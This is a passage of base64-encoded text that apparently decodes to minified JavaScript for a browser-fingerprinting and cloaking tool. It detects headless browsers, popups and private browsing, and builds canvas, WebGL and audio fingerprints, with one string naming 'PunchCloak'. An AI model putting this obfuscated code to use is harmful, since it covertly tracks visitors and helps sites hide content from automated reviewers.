aXR5OmhpZGRlbjtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6LTEwMDBweDtsZWZ0Oi0xMDAwcHg7IjtiLnNyYz0iZGF0YTppbWFnZS9naWY7YmFzZTY0LFIwbEdPRGxoQVFBQkFJQUFBQUFBQVAvLy95SDVCQUVBQUFBQUxBQUFBQUFCQUFFQUFBSUJSQUE3IjtiLm9ubG9hZD1mdW5jdGlvbigpe2NvbnN0IGM9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhlYWRsZXNzLWRldGVjdGlvbi1pbWFnZSIpLGU9ISghY3x8Yy5vZmZzZXRXaWR0aCE9PTF8fGMucmVhZHlTdGF0ZSE9PSJjb21wbGV0ZSImJmMucmVhZHlTdGF0ZSE9PXZvaWQgMCk7YyYmYy5wYXJlbnROb2RlJiZjLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoYyk7CmEoWyJJbWFnZSByZW5kZXJpbmcgdGVzdCBjb21wbGV0ZWQiLGU/MDoxXSl9O2Iub25lcnJvcj1mdW5jdGlvbigpe2EoWyJJbWFnZSBsb2FkaW5nIGZhaWxlZCIsMV0pfTtzZXRUaW1lb3V0KCgpPT57Yi5wYXJlbnROb2RlfHxhKFsiSW1hZ2Ugbm90IGFwcGVuZGVkIHRvIERPTSIsMV0pfSwxRTMpO3NldFRpbWVvdXQoKCk9Pntjb25zb2xlLmxvZygiZG9jdW1lbnQuYm9keSIpO2lmKGRvY3VtZW50LmJvZHkpY29uc29sZS5sb2coImJvZHkgZm91bmQsIGFwcGVuZGluZyBpbWFnZSIpLGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYik7ZWxzZXtjb25zdCBjPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoImJvZHkiKTtjb25zb2xlLmxvZygibWlzc2luZyBib2R5LCB0cnlpbmcgdG8gZmluZCIsYyk7YyYmYy5hcHBlbmRDaGlsZChiKX19LDApfSl9fSx7ZGlzcGxheU5hbWU6IldpbmRvdyBEaW1lbnNpb25zIENoZWNrIixoOiJkaW1lbnNpb25zLXRlc3QiLGk6ZnVuY3Rpb24oKXtjb25zdCBhPQp3aW5kb3cub3V0ZXJIZWlnaHQsYj13aW5kb3cub3V0ZXJXaWR0aDtyZXR1cm5bIk91dGVyOiAiK2IrIngiK2ErIiwgSW5uZXI6ICIrd2luZG93LmlubmVyV2lkdGgrIngiK3dpbmRvdy5pbm5lckhlaWdodCxhPT09MCYmYj09PTA/MTowXX19LHtkaXNwbGF5TmFtZToiUG9wdXAgQ3JlYXRpb24gVGVzdCIsaDoicG9wdXAtdGVzdCIsaTpmdW5jdGlvbigpe3RyeXtjb25zdCBhPXdpbmRvdy5vcGVuKCIiLCIiLCJ3aWR0aD0xLGhlaWdodD0xIik7cmV0dXJuIGEhPT1udWxsJiZhIT09dm9pZCAwPyhhLmNsb3NlKCksWyJQb3B1cCB3aW5kb3cgY3JlYXRpb24gc3VjY2Vzc2Z1bCIsMF0pOlsiUG9wdXAgd2luZG93IGNyZWF0aW9uIGJsb2NrZWQgb3IgZmFpbGVkIiwxXX1jYXRjaChhKXtyZXR1cm5bIkV4Y2VwdGlvbiBkdXJpbmcgcG9wdXAgY3JlYXRpb246ICIrYS5tZXNzYWdlLDFdfX19XTsKdHlwZW9mIG1vZHVsZSE9PSJ1bmRlZmluZWQiJiZtb2R1bGUuZXhwb3J0cz9tb2R1bGUuZXhwb3J0cz1HOnR5cGVvZiB3aW5kb3chPT0idW5kZWZpbmVkIiYmKHdpbmRvdy5Ccm93c2VyRGV0ZWN0b3I9Ryx3aW5kb3cuQnJvd3NlckRldGVjdG9yLmdldEluc3RhbmNlPXRhLHdpbmRvdy5Ccm93c2VyRGV0ZWN0b3IucGVyZm9ybVF1aWNrRGV0ZWN0aW9uPXVhKTthc3luYyBmdW5jdGlvbiB6YShhKXthd2FpdCBBYShhKTtjb25zb2xlLmxvZygiX2ZlaWQiLEguQik7aWYoQmEoKSlyZXR1cm4gYS5DPSJTYWZhcmkiLGF3YWl0IENhKGEpO2lmKERhKCkpe3ZhciBiPW5hdmlnYXRvci51c2VyQWdlbnQ7Yj1iLm1hdGNoKC9DaHJvbWUvKT9uYXZpZ2F0b3IuaGEhPT12b2lkIDA/IkJyYXZlIjpiLm1hdGNoKC9FZGcvKT8iRWRnZSI6Yi5tYXRjaCgvT1BSLyk/Ik9wZXJhIjoiQ2hyb21lIjoiQ2hyb21pdW0iO2EuQz1iO3NlbGYuUHJvbWlzZSE9PXZvaWQgMCYmc2VsZi5Qcm9taXNlLmFsbFNldHRsZWQhPT12b2lkIDA/RWEoYSk6RmEoYSl9ZWxzZXtpZihHYSgpKXJldHVybiBhLkM9IkZpcmVmb3giLGF3YWl0IEhhKGEpO2lmKElhKCkpcmV0dXJuIGEuQz0iSW50ZXJuZXQgRXhwbG9yZXIiLGF3YWl0IEkoYSx3aW5kb3cuaW5kZXhlZERCPT09dm9pZCAwKTthLkgoRXJyb3IoImRldGVjdEluY29nbml0byBjYW5ub3QgZGV0ZXJtaW5lIHRoZSBicm93c2VyIikpfX0KZnVuY3Rpb24gSShhLGIpe2lmKCFhLkspcmV0dXJuIGEuSz0hMCxhLkooe2lzUHJpdmF0ZTpiLGJyb3dzZXJOYW1lOmEuQ30pfWZ1bmN0aW9uIEJhKCl7cmV0dXJuIEguQj09PTQ0fHxILkI9PT00M31mdW5jdGlvbiBEYSgpe3JldHVybiBILkI9PT01MX1mdW5jdGlvbiBHYSgpe3JldHVybiBILkI9PT0yNX1mdW5jdGlvbiBJYSgpe3JldHVybiBuYXZpZ2F0b3IubXNTYXZlQmxvYiE9PXZvaWQgMH1hc3luYyBmdW5jdGlvbiBKYShhKXt0cnl7YXdhaXQgbmF2aWdhdG9yLnN0b3JhZ2UuZ2V0RGlyZWN0b3J5KCksSShhLCExKX1jYXRjaChiKXtjb25zdCBjPShiIGluc3RhbmNlb2YgRXJyb3ImJnR5cGVvZiBiLm1lc3NhZ2U9PT0ic3RyaW5nIj9iLm1lc3NhZ2U6U3RyaW5nKGIpKS5pbmNsdWRlcygidW5rbm93biB0cmFuc2llbnQgcmVhc29uIik7SShhLGMpfX0KZnVuY3Rpb24gS2EoYSl7Y29uc3QgYj1TdHJpbmcoTWF0aC5yYW5kb20oKSk7dHJ5e2NvbnN0IGM9aW5kZXhlZERCLm9wZW4oYiwxKTtjLm9udXBncmFkZW5lZWRlZD1lPT57ZT1lLnRhcmdldC5yZXN1bHQ7dHJ5e2UuY3JlYXRlT2JqZWN0U3RvcmUoInQiLHthdXRvSW5jcmVtZW50OiEwfSkucHV0KG5ldyBCbG9iKSxJKGEsITEpfWNhdGNoKGQpeyhkIGluc3RhbmNlb2YgRXJyb3ImJnR5cGVvZiBkLm1lc3NhZ2U9PT0ic3RyaW5nIj9kLm1lc3NhZ2U6U3RyaW5nKGQpKS5pbmNsdWRlcygiYXJlIG5vdCB5ZXQgc3VwcG9ydGVkIik/SShhLCEwKTpJKGEsITEpfWZpbmFsbHl7ZS5jbG9zZSgpLGluZGV4ZWREQi5kZWxldGVEYXRhYmFzZShiKX19O2Mub25lcnJvcj0oKT0+SShhLCExKX1jYXRjaHtJKGEsITEpfX0KYXN5bmMgZnVuY3Rpb24gQ2EoYSl7aWYobmF2aWdhdG9yLnN0b3JhZ2UmJnR5cGVvZiBuYXZpZ2F0b3Iuc3RvcmFnZS5nZXREaXJlY3Rvcnk9PT0iZnVuY3Rpb24iKWF3YWl0IEphKGEpO2Vsc2UgaWYobmF2aWdhdG9yLm1heFRvdWNoUG9pbnRzIT09dm9pZCAwKUthKGEpO2Vsc2UgYTp7Y29uc3QgYj13aW5kb3cub3BlbkRhdGFiYXNlLGM9d2luZG93LmxvY2FsU3RvcmFnZTt0cnl7YihudWxsLG51bGwsbnVsbCxudWxsKX1jYXRjaChlKXtJKGEsITApO2JyZWFrIGF9dHJ5e2Muc2V0SXRlbSgidGVzdCIsIjEiKSxjLnJlbW92ZUl0ZW0oInRlc3QiKX1jYXRjaChlKXtJKGEsITApO2JyZWFrIGF9SShhLCExKX19CmZ1bmN0aW9uIEVhKGEpe25hdmlnYXRvci53ZWJraXRUZW1wb3JhcnlTdG9yYWdlJiZ0eXBlb2YgbmF2aWdhdG9yLndlYmtpdFRlbXBvcmFyeVN0b3JhZ2UucXVlcnlVc2FnZUFuZFF1b3RhPT09ImZ1bmN0aW9uIiYmbmF2aWdhdG9yLndlYmtpdFRlbXBvcmFyeVN0b3JhZ2UucXVlcnlVc2FnZUFuZFF1b3RhKChiLGMpPT57Yj0oYj13aW5kb3cpJiZiLnBlcmZvcm1hbmNlJiZiLnBlcmZvcm1hbmNlLm1lbW9yeTtJKGEsTWF0aC5yb3VuZChjLzEwNDg1NzYpPE1hdGgucm91bmQoKGImJmIuanNIZWFwU2l6ZUxpbWl0P2IuanNIZWFwU2l6ZUxpbWl0OjEwNzM3NDE4MjQpLzEwNDg1NzYpKjIpfSxiPT57YS5IKEVycm9yKCJkZXRlY3RJbmNvZ25pdG8gc29tZWhvdyBmYWlsZWQgdG8gcXVlcnkgc3RvcmFnZSBxdW90YTogIitiLm1lc3NhZ2UpKX0pfQpmdW5jdGlvbiBGYShhKXtjb25zdCBiPXdpbmRvdy53ZWJraXRSZXF1ZXN0RmlsZVN5c3RlbTtiKDAsMSwoKT0+e0koYSwhMSl9LCgpPT57SShhLCEwKX0pfWFzeW5jIGZ1bmN0aW9uIEhhKGEpe2lmKG5hdmlnYXRvci5zdG9yYWdlJiZ0eXBlb2YgbmF2aWdhdG9yLnN0b3JhZ2UuZ2V0RGlyZWN0b3J5PT09ImZ1bmN0aW9uIil0cnl7YXdhaXQgbmF2aWdhdG9yLnN0b3JhZ2UuZ2V0RGlyZWN0b3J5KCk7SShhLCExKTtyZXR1cm59Y2F0Y2goYil7Y29uc3QgYz0oYiBpbnN0YW5jZW9mIEVycm9yJiZ0eXBlb2YgYi5tZXNzYWdlPT09InN0cmluZyI/Yi5tZXNzYWdlOlN0cmluZyhiKSkuaW5jbHVkZXMoIlNlY3VyaXR5IGVycm9yIik7SShhLGMpO3JldHVybn1JKGEsbmF2aWdhdG9yLnNlcnZpY2VXb3JrZXI9PT12b2lkIDApfQphc3luYyBmdW5jdGlvbiBBYShhKXtpZihuYXZpZ2F0b3Iuc3RvcmFnZSYmdHlwZW9mIG5hdmlnYXRvci5zdG9yYWdlLmVzdGltYXRlPT09ImZ1bmN0aW9uIil7Y29uc3Qge3F1b3RhOmJ9PWF3YWl0IG5hdmlnYXRvci5zdG9yYWdlLmVzdGltYXRlKCk7aWYoYjwxMkU3KXJldHVybiBjb25zb2xlLmxvZygiUG9zc2libHkgaW4gcHJpdmF0ZSBtb2RlIGR1ZSB0byBsb3cgc3RvcmFnZSBxdW90YS4iKSxJKGEsITApLCEwfXJldHVybiExfQpjbGFzcyBIe2NvbnN0cnVjdG9yKCl7dGhpcy5DPSJVbmtub3duIjt0aGlzLks9ITE7dGhpcy5IPXRoaXMuSj1udWxsfWFzeW5jIEwoKXtyZXR1cm4gYXdhaXQgbmV3IFByb21pc2UoKGEsYik9Pnt0aGlzLko9YTt0aGlzLkg9Yjt6YSh0aGlzKS5jYXRjaChiKX0pfXN0YXRpYyBnZXQgQigpe2xldCBhPTA7dHJ5eygtMSkudG9GaXhlZCgtMSl9Y2F0Y2goYil7YT1iJiZiLm1lc3NhZ2U/Yi5tZXNzYWdlLmxlbmd0aDpTdHJpbmcoYikubGVuZ3RofXJldHVybiBhfX1hc3luYyBmdW5jdGlvbiBMYSgpe3JldHVybiBhd2FpdCAobmV3IEgpLkwoKX10eXBlb2YgbW9kdWxlIT09InVuZGVmaW5lZCImJm1vZHVsZS5leHBvcnRzP21vZHVsZS5leHBvcnRzPUg6dHlwZW9mIHdpbmRvdyE9PSJ1bmRlZmluZWQiJiYod2luZG93LkRldGVjdEluY29nbml0bz1ILEgucnVuPUxhLEgucHJvdG90eXBlLmRldGVjdD1ILnByb3RvdHlwZS5MKTtmdW5jdGlvbiBNYShhLGIsYyl7ZnVuY3Rpb24gZShrKXt0aGlzLkE9ayVuO3RoaXMuQTw9MCYmKHRoaXMuQSs9bil9ZnVuY3Rpb24gZChrLHAsbSl7az0oay0xKS9uO3JldHVybiBtP2sqcDpNYXRoLmZsb29yKGsqcCl9ZnVuY3Rpb24gZihrLHAsbSl7bT1wLmNyZWF0ZVJhZGlhbEdyYWRpZW50KGQoay5nKCksbS53aWR0aCksZChrLmcoKSxtLmhlaWdodCksZChrLmcoKSxtLndpZHRoKSxkKGsuZygpLG0ud2lkdGgpLGQoay5nKCksbS5oZWlnaHQpLGQoay5nKCksbS53aWR0aCkpO20uYWRkQ29sb3JTdG9wKDAseVtkKGsuZygpLHkubGVuZ3RoKV0pO20uYWRkQ29sb3JTdG9wKDEseVtkKGsuZygpLHkubGVuZ3RoKV0pO3AuZmlsbFN0eWxlPW19Y29uc3QgZz1jLmFyZWEsbj1jLm9mZnNldFBhcmFtZXRlcixxPWMubXVsdGlwbGllcixoPWMuZm9udFNpemVGYWN0b3I7Yz1jLm1heFNoYWRvd0JsdXI7Y29uc3QgeD13aW5kb3cuQ3J5cHRvO2UucHJvdG90eXBlLmc9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5BPQpxKnRoaXMuQSVufTtpZighd2luZG93LkNhbnZhc1JlbmRlcmluZ0NvbnRleHQyRClyZXR1cm4idW5rbm93biI7Y29uc3QgeT1mdW5jdGlvbigpe3JldHVybiB4LkJhc2U2NC5kZWNvZGUoIk1UWTNNemM0TkROOE1UWTNOVGMyTlRkOE1UWTNNalE1T1RGOE1UWTNOemN4TVROOE5EWXdOVFI4TVRVeE1Ua3hOVFY4TXpNMk9EWTNPSHd4TURBMk5qSTNPSHd4TURBNU1qUTBNWHd4TVRjMU1EY3pNM3c0TkRNME5ETXlmRGcwTWpjM056WjhNVFV4TVRreU9ETjhOamN4TnpZeE9YdzJOekl6T0RZMmZERTJOelV4TURjNGZERXpORE0wTmpVd2ZERTJOekU0TkRNNGZERTFNRGcyTXpZeWZETTBNRGM0TWpCOE5qY3lNemt4TjN3eE1UYzFOekkyTUh3MU1EYzVNRFF3ZkRFeE56UTBNREF3ZkRFek5EQXlNekUyZkRZM01UQTROakY4TVRBd016TTVNVGw4TVRVd09UazJORGQ4TlRBNU1qTTFNWHd4TnpRNU9URXpmREUxTURrNU5UY3hmRE16T0RFMU16QjhNVE0wTURnMk5qVjhNVEUzTnpZM09UUjhOVGt3TURoOE5UQTNPVEUwTW53NE5ESTNPVEEwZkRFMU1UTTROamc0ZkRFM05qa3lOamQ4TVRBd05qWXlNamQ4TVRZM01qUTROalI4TVRNME1qRTFOamg4TmpjME16WXlPWHcxTURjNU1qUTBmREV3TURJM01UZzNmREUxTURrek1EazBmRFV3T1RJeU1qUjhNVFkzTXpFME5qbDhNVEF3T0RZeE1UaDhOamN4TVRBek9RPT0iKS5zcGxpdCgifCIpLm1hcChmdW5jdGlvbihrKXtyZXR1cm4gcGFyc2VJbnQoaywKMTApLnRvU3RyaW5nKDE2KX0pLm1hcChmdW5jdGlvbihrKXtyZXR1cm4iIyIrQXJyYXkoNy1rLmxlbmd0aCkuam9pbigiMCIpK2t9KX0oKSx3PVtmdW5jdGlvbihrLHAsbSl7cC5iZWdpblBhdGgoKTtwLmFyYyhkKGsuZygpLG0ud2lkdGgpLGQoay5nKCksbS5oZWlnaHQpLGQoay5nKCksTWF0aC5taW4obS53aWR0aCxtLmhlaWdodCkpLGQoay5nKCksTWF0aC5QSSoyLCEwKSxkKGsuZygpLE1hdGguUEkqMiwhMCkpO3Auc3Ryb2tlKCl9LGZ1bmN0aW9uKGsscCxtKXtjb25zdCBMPU1hdGgubWF4KDEsZChrLmcoKSw1KSk7bGV0IGxhPSIiO2ZvcihsZXQgbWE9MDttYTxMO21hKyspe2NvbnN0IFhhPTY1K2suZygpJTYxO2xhKz1TdHJpbmcuZnJvbUNoYXJDb2RlKFhhKX1wLmZvbnQ9bS5oZWlnaHQvaCsicHggYWFmYWtlZm9udGFhIjtwLnN0cm9rZVRleHQobGEsZChrLmcoKSxtLndpZHRoKSxkKGsuZygpLG0uaGVpZ2h0KSxkKGsuZygpLG0ud2lkdGgpKX0sZnVuY3Rpb24oayxwLG0pe3AuYmVnaW5QYXRoKCk7CnAubW92ZVRvKGQoay5nKCksbS53aWR0aCksZChrLmcoKSxtLmhlaWdodCkpO3AuYmV6aWVyQ3VydmVUbyhkKGsuZygpLG0ud2lkdGgpLGQoay5nKCksbS5oZWlnaHQpLGQoay5nKCksbS53aWR0aCksZChrLmcoKSxtLmhlaWdodCksZChrLmcoKSxtLndpZHRoKSxkKGsuZygpLG0uaGVpZ2h0KSk7cC5zdHJva2UoKX0sZnVuY3Rpb24oayxwLG0pe3AuYmVnaW5QYXRoKCk7cC5tb3ZlVG8oZChrLmcoKSxtLndpZHRoKSxkKGsuZygpLG0uaGVpZ2h0KSk7cC5xdWFkcmF0aWNDdXJ2ZVRvKGQoay5nKCksbS53aWR0aCksZChrLmcoKSxtLmhlaWdodCksZChrLmcoKSxtLndpZHRoKSxkKGsuZygpLG0uaGVpZ2h0KSk7cC5zdHJva2UoKX0sZnVuY3Rpb24oayxwLG0pe3AuYmVnaW5QYXRoKCk7cC5lbGxpcHNlKGQoay5nKCksbS53aWR0aCksZChrLmcoKSxtLmhlaWdodCksZChrLmcoKSxNYXRoLmZsb29yKG0ud2lkdGgvMikpLGQoay5nKCksTWF0aC5mbG9vcihtLmhlaWdodC8yKSksZChrLmcoKSwKTWF0aC5QSSoyLCEwKSxkKGsuZygpLE1hdGguUEkqMiwhMCksZChrLmcoKSxNYXRoLlBJKjIsITApKTtwLnN0cm9rZSgpfV07dHJ5e2NvbnN0IGs9bmV3IGUoYikscD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTtwLndpZHRoPWcud2lkdGg7cC5oZWlnaHQ9Zy5oZWlnaHQ7cC5zdHlsZS5kaXNwbGF5PSJub25lIjtjb25zdCBtPXAuZ2V0Q29udGV4dCgiMmQiKTtmb3IobGV0IEw9MDtMPGE7TCsrKWYoayxtLGcpLG0uc2hhZG93Qmx1cj1kKGsuZygpLGMpLG0uc2hhZG93Q29sb3I9eVtkKGsuZygpLHkubGVuZ3RoKV0sKDAsd1tkKGsuZygpLHcubGVuZ3RoKV0pKGssbSxnKSxtLmZpbGwoKTtyZXR1cm4geC54NjRIYXNoMTI4KHAudG9EYXRhVVJMKCksYil9Y2F0Y2goayl7Y29uc29sZS5lcnJvcihrKX19CmZ1bmN0aW9uIE5hKCl7cmV0dXJuKG5ldyBKKDEwMCw0Mix7YXJlYTp7d2lkdGg6NTEyLGhlaWdodDo1MTJ9LG9mZnNldFBhcmFtZXRlcjoyMDAxMDAwMDAxLGZvbnRTaXplRmFjdG9yOjEuNSxtdWx0aXBsaWVyOjE1RTMsbWF4U2hhZG93Qmx1cjo1MH0pKS5oYXNofWNsYXNzIEp7Z2V0IGhhc2goKXtyZXR1cm4gTWEodGhpcy5SLHRoaXMuUyx0aGlzLm9wdGlvbnMpfWNvbnN0cnVjdG9yKGEsYixjKXt0aGlzLlI9YTt0aGlzLlM9Yjt0aGlzLm9wdGlvbnM9Y319dHlwZW9mIG1vZHVsZSE9PSJ1bmRlZmluZWQiJiZtb2R1bGUuZXhwb3J0cz9tb2R1bGUuZXhwb3J0cz1KOnR5cGVvZiB3aW5kb3chPT0idW5kZWZpbmVkIiYmKHdpbmRvdy5QaWNhc3NvQ2FudmFzPUosSi5oYXNoPU5hKTtmdW5jdGlvbiBPYShhKXthfHwoYT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKSk7dHJ5e2NvbnN0IGI9YS5nZXRDb250ZXh0KCJ3ZWJnbCIpfHxhLmdldENvbnRleHQoImV4cGVyaW1lbnRhbC13ZWJnbCIpO2lmKCFiKXJldHVybiBudWxsO2NvbnN0IGM9Yi5nZXRFeHRlbnNpb24oIldFQkdMX2RlYnVnX3JlbmRlcmVyX2luZm8iKTtyZXR1cm57dmVuZG9yOmM/Yi5nZXRQYXJhbWV0ZXIoYy5VTk1BU0tFRF9WRU5ET1JfV0VCR0wpOm51bGwscmVuZGVyZXI6Yz9iLmdldFBhcmFtZXRlcihjLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKTpudWxsLHZlcnNpb246Yi5nZXRQYXJhbWV0ZXIoYi5WRVJTSU9OKSxzaGFkaW5nTGFuZ3VhZ2VWZXJzaW9uOmIuZ2V0UGFyYW1ldGVyKGIuU0hBRElOR19MQU5HVUFHRV9WRVJTSU9OKX19Y2F0Y2goYil7cmV0dXJue3ZlbmRvcjpudWxsLHJlbmRlcmVyOm51bGx9fX0KZnVuY3Rpb24gUGEoYSl7bGV0IGIsYyxlLGQ7dHJ5e2F8fChhPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpKSxhLndpZHRoPTI1NixhLmhlaWdodD0yNTYsZD1hLmdldENvbnRleHQoIndlYmdsMiIse3ByZXNlcnZlRHJhd2luZ0J1ZmZlcjohMH0pfHxhLmdldENvbnRleHQoImV4cGVyaW1lbnRhbC13ZWJnbDIiLHtwcmVzZXJ2ZURyYXdpbmdCdWZmZXI6ITB9KXx8YS5nZXRDb250ZXh0KCJtb3otd2ViZ2wyIix7cHJlc2VydmVEcmF3aW5nQnVmZmVyOiEwfSl8fGEuZ2V0Q29udGV4dCgid2ViZ2wiLHtwcmVzZXJ2ZURyYXdpbmdCdWZmZXI6ITB9KXx8YS5nZXRDb250ZXh0KCJleHBlcmltZW50YWwtd2ViZ2wiLHtwcmVzZXJ2ZURyYXdpbmdCdWZmZXI6ITB9KXx8YS5nZXRDb250ZXh0KCJtb3otd2ViZ2wiLHtwcmVzZXJ2ZURyYXdpbmdCdWZmZXI6ITB9KX1jYXRjaChmKXt9dHJ5e2lmKG51bGw9PWR8fG51bGw9PWQuZ2V0UGFyYW1ldGVyKGQuVkVSU0lPTikpdGhyb3cgRXJyb3IoIjAiKTsKfWNhdGNoKGYpe3JldHVybiAwfXRyeXtiPWQuZ2V0RXh0ZW5zaW9uKCJXRUJHTF9kZWJ1Z19yZW5kZXJlcl9pbmZvIiksYz1kLmdldFBhcmFtZXRlcihiLlVOTUFTS0VEX1ZFTkRPUl9XRUJHTCksZT1kLmdldFBhcmFtZXRlcihiLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKX1jYXRjaChmKXtlPWM9bnVsbH10cnl7Y29uc3QgZj1kLmNyZWF0ZUJ1ZmZlcigpO2QuYmluZEJ1ZmZlcihkLkFSUkFZX0JVRkZFUixmKTtjb25zdCBnPW5ldyBGbG9hdDMyQXJyYXkoWy0uMiwtLjksMCwuNCwtLjI2LDAsMCwuNzMyMSwwXSk7ZC5idWZmZXJEYXRhKGQuQVJSQVlfQlVGRkVSLGcsZC5TVEFUSUNfRFJBVyk7Zi5ZPTM7Zi5aPTM7Y29uc3Qgbj1kLmNyZWF0ZVByb2dyYW0oKSxxPWQuY3JlYXRlU2hhZGVyKGQuVkVSVEVYX1NIQURFUik7ZC5zaGFkZXJTb3VyY2UocSwiYXR0cmlidXRlIHZlYzIgYXR0clZlcnRleDt2YXJ5aW5nIHZlYzIgdmFyeWluVGV4Q29vcmRpbmF0ZTt1bmlmb3JtIHZlYzIgdW5pZm9ybU9mZnNldDt2b2lkIG1haW4oKXt2YXJ5aW5UZXhDb29yZGluYXRlPWF0dHJWZXJ0ZXgrdW5pZm9ybU9mZnNldDtnbF9Qb3NpdGlvbj12ZWM0KGF0dHJWZXJ0ZXgsMCwxKTt9Iik7CmQuY29tcGlsZVNoYWRlcihxKTtjb25zdCBoPWQuY3JlYXRlU2hhZGVyKGQuRlJBR01FTlRfU0hBREVSKTtkLnNoYWRlclNvdXJjZShoLCJwcmVjaXNpb24gbWVkaXVtcCBmbG9hdDt2YXJ5aW5nIHZlYzIgdmFyeWluVGV4Q29vcmRpbmF0ZTt2b2lkIG1haW4oKSB7Z2xfRnJhZ0NvbG9yPXZlYzQodmFyeWluVGV4Q29vcmRpbmF0ZSwwLDEpO30iKTtkLmNvbXBpbGVTaGFkZXIoaCk7ZC5hdHRhY2hTaGFkZXIobixxKTtkLmF0dGFjaFNoYWRlcihuLGgpO2QubGlua1Byb2dyYW0obik7ZC51c2VQcm9ncmFtKG4pO24uZ2E9ZC5nZXRBdHRyaWJMb2NhdGlvbihuLCJhdHRyVmVydGV4Iik7bi4kPWQuZ2V0VW5pZm9ybUxvY2F0aW9uKG4sInVuaWZvcm1PZmZzZXQiKTtkLmVuYWJsZVZlcnRleEF0dHJpYkFycmF5KG4uc2EpO2QudmVydGV4QXR0cmliUG9pbnRlcihuLmdhLGYuWSxkLkZMT0FULCExLDAsMCk7ZC51bmlmb3JtMmYobi4kLDEsMSk7ZC5kcmF3QXJyYXlzKGQuVFJJQU5HTEVfU1RSSVAsCjAsZi5aKX1jYXRjaChmKXt9YT0iIjt0cnl7Y29uc3QgZj1uZXcgVWludDhBcnJheSgyNjIxNDQpO2QucmVhZFBpeGVscygwLDAsMjU2LDI1NixkLlJHQkEsZC5VTlNJR05FRF9CWVRFLGYpO2NvbnN0IGc9SlNPTi5zdHJpbmdpZnkoZikucmVwbGFjZSgvLD8iWzAtOV0rIjovZywiIik7aWYoIiI9PT1nLnJlcGxhY2UoL157WzBdK30kL2csIiIpKXRocm93IEVycm9yKCIxIik7YT1LKGcpfWNhdGNoKGYpe2E9MH1yZXR1cm57aGFzaDphLHNoYTI1NjplYShhKSxyZW5kZXJlcjplLHZlbmRvcjpjfX1jbGFzcyBNe3N0YXRpYyBnZXQgZmluZ2VycHJpbnQoKXtyZXR1cm4gUGEoKS5oYXNofX0KYXN5bmMgZnVuY3Rpb24gUWEoYSl7cmV0dXJuIGF3YWl0IG5ldyBQcm9taXNlKGI9Pnt0cnl7Y29uc3QgYz1uZXcgSW1hZ2U7YXx8KGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiY2FudmFzIikpO2NvbnN0IGU9YS5nZXRDb250ZXh0KCIyZCIpO2Mub25sb2FkPSgpPT57ZS5kcmF3SW1hZ2UoYywwLDApO2IoZS5nZXRJbWFnZURhdGEoMCwwLDEsMSkuZGF0YSl9O2Mub25lcnJvcj0oKT0+e2IobnVsbCl9O2Muc3JjPSJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUFFQUFBQUJDQVlBQUFBZkZjU0pBQUFBQzBsRVFWUVlWMk5nQUFJQUFBVUFBYXJWeUZFQUFBQUFTVVZPUks1Q1lJST0ifWNhdGNoKGMpe2IobnVsbCl9fSl9YXN5bmMgZnVuY3Rpb24gUmEoYSl7dHJ5e2NvbnN0IGI9SlNPTi5zdHJpbmdpZnkoYXdhaXQgUWEoYSkpO3JldHVybiBhd2FpdCBTYShiKX1jYXRjaChiKXtyZXR1cm4gbnVsbH19CmNsYXNzIE57c3RhdGljIGdldCBmaW5nZXJwcmludCgpe3RyeXt2YXIgYT1KU09OLGI9YS5zdHJpbmdpZnk7dmFyIGM7dHJ5e2N8fChjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpKTtjb25zdCBmPWMuZ2V0Q29udGV4dCgiMmQiKTtmLnRleHRCYXNlbGluZT0idG9wIjtmLmZvbnQ9IjE0cHggQXJpYWwiO2YuZmlsbFRleHQoIlB1bmNoQ2xvYWsgQ2FudmFzIEZpbmdlcnByaW50IiwyLDIpO2YuZmlsbFN0eWxlPSJyZ2JhKDEwMiwgMjA0LCAwLCAwLjcpIjtmLmZpbGxSZWN0KDEwMCw1LDgwLDIwKTtmLnRleHRCYXNlbGluZT0idG9wIjtmLmZvbnQ9IjE0cHggJ0FyaWFsJyI7Zi5maWxsU3R5bGU9IiNmNjAiO2YuZmlsbFJlY3QoMCwwLDIwMCw1MCk7Zi5maWxsU3R5bGU9IiMwNjkiO2YuZmlsbFRleHQoImRldmljZS1maW5nZXJwcmludCIsMTAsMTApO3ZhciBlPWMudG9EYXRhVVJMKCl9Y2F0Y2goZil7ZT1udWxsfWNvbnN0IGQ9Yi5jYWxsKGEsZSk7cmV0dXJuIEsoZCl9Y2F0Y2goZCl7cmV0dXJuIG51bGx9fX0KZnVuY3Rpb24gVGEoKXtyZXR1cm4gbmV3IFByb21pc2UoYT0+e2xldCBiLGMsZSxkO2lmKCF3aW5kb3cuT2ZmbGluZUF1ZGlvQ29udGV4dCYmIXdpbmRvdy53ZWJraXRPZmZsaW5lQXVkaW9Db250ZXh0KXJldHVybiBhKG51bGwpO3RyeXtiPW5ldyAod2luZG93Lk9mZmxpbmVBdWRpb0NvbnRleHR8fHdpbmRvdy53ZWJraXRPZmZsaW5lQXVkaW9Db250ZXh0KSgxLDQ0MTAwLDQ0MTAwKTtkPWIuY3JlYXRlT3NjaWxsYXRvcigpO2QudHlwZT0idHJpYW5nbGUiO2QuZnJlcXVlbmN5LnZhbHVlPTFFNDtlPWIuY3JlYXRlRHluYW1pY3NDb21wcmVzc29yKCk7ZS50aHJlc2hvbGQmJihlLnRocmVzaG9sZC52YWx1ZT0tNTApO2Uua25lZSYmKGUua25lZS52YWx1ZT00MCk7ZS5yYXRpbyYmKGUucmF0aW8udmFsdWU9MTIpO2UucmVkdWN0aW9uJiYoZS5yZWR1Y3Rpb24udmFsdWU9LTIwKTtlLmF0dGFjayYmKGUuYXR0YWNrLnZhbHVlPTApO2UucmVsZWFzZSYmKGUucmVsZWFzZS52YWx1ZT0uMjUpOwpkLmNvbm5lY3QoZSk7ZS5jb25uZWN0KGIuZGVzdGluYXRpb2